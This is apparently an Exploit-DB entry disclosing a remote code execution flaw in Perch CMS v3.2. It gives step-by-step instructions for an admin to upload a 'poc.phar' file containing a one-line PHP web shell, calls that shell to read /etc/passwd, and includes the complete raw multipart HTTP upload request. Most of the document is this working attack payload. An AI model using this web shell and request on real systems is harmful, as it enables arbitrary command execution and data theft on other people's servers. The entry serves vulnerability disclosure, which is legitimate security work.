033e7ba3e0
3 changes to exploits/shellcodes/ghdb Online Piggery Management System v1.0 - unauthenticated file upload vulnerability Perch v3.2 - Remote Code Execution (RCE) Perch v3.2 - Stored XSS Wordpress Plugin Zephyr Project Manager 3.2.42 - Multiple SQLi
89 lines
No EOL
2.6 KiB
Text
89 lines
No EOL
2.6 KiB
Text
Exploit Title: Perch v3.2 - Remote Code Execution (RCE)
|
|
Application: Perch Cms
|
|
Version: v3.2
|
|
Bugs: RCE
|
|
Technology: PHP
|
|
Vendor URL: https://grabaperch.com/
|
|
Software Link: https://grabaperch.com/download
|
|
Date of found: 21.07.2023
|
|
Author: Mirabbas Ağalarov
|
|
Tested on: Linux
|
|
|
|
|
|
2. Technical Details & POC
|
|
========================================
|
|
steps:
|
|
1. login to account as admin
|
|
2. go to visit assets (http://localhost/perch_v3.2/perch/core/apps/assets/)
|
|
3. add assets (http://localhost/perch_v3.2/perch/core/apps/assets/edit/)
|
|
4. upload poc.phar file
|
|
|
|
poc.phar file contents :
|
|
<?php $a=$_GET['code']; echo system($a);?>
|
|
|
|
5. visit http://localhost/perch_v3.2/perch/resources/admin/poc.phar?code=cat%20/etc/passwd
|
|
|
|
|
|
poc request:
|
|
|
|
POST /perch_v3.2/perch/core/apps/assets/edit/ HTTP/1.1
|
|
Host: localhost
|
|
Content-Length: 1071
|
|
Cache-Control: max-age=0
|
|
sec-ch-ua:
|
|
sec-ch-ua-mobile: ?0
|
|
sec-ch-ua-platform: ""
|
|
Upgrade-Insecure-Requests: 1
|
|
Origin: http://localhost
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYGoerZn09hHSjd4Z
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
|
Sec-Fetch-Site: same-origin
|
|
Sec-Fetch-Mode: navigate
|
|
Sec-Fetch-User: ?1
|
|
Sec-Fetch-Dest: document
|
|
Referer: http://localhost/perch_v3.2/perch/core/apps/assets/edit/
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-US,en;q=0.9
|
|
Cookie: phpwcmsBELang=en; cmsa=1; PHPSESSID=689rdj63voor49dcfm9rdpolc9
|
|
Connection: close
|
|
|
|
------WebKitFormBoundaryYGoerZn09hHSjd4Z
|
|
Content-Disposition: form-data; name="resourceTitle"
|
|
|
|
test
|
|
------WebKitFormBoundaryYGoerZn09hHSjd4Z
|
|
Content-Disposition: form-data; name="image"; filename="poc.phar"
|
|
Content-Type: application/octet-stream
|
|
|
|
<?php $a=$_GET['code']; echo system($a);?>
|
|
|
|
------WebKitFormBoundaryYGoerZn09hHSjd4Z
|
|
Content-Disposition: form-data; name="image_field"
|
|
|
|
1
|
|
------WebKitFormBoundaryYGoerZn09hHSjd4Z
|
|
Content-Disposition: form-data; name="image_assetID"
|
|
|
|
|
|
------WebKitFormBoundaryYGoerZn09hHSjd4Z
|
|
Content-Disposition: form-data; name="resourceBucket"
|
|
|
|
admin
|
|
------WebKitFormBoundaryYGoerZn09hHSjd4Z
|
|
Content-Disposition: form-data; name="tags"
|
|
|
|
test
|
|
------WebKitFormBoundaryYGoerZn09hHSjd4Z
|
|
Content-Disposition: form-data; name="btnsubmit"
|
|
|
|
Submit
|
|
------WebKitFormBoundaryYGoerZn09hHSjd4Z
|
|
Content-Disposition: form-data; name="formaction"
|
|
|
|
edit
|
|
------WebKitFormBoundaryYGoerZn09hHSjd4Z
|
|
Content-Disposition: form-data; name="token"
|
|
|
|
5494af3e8dbe5ac399ca7f12219cfe82
|
|
------WebKitFormBoundaryYGoerZn09hHSjd4Z-- |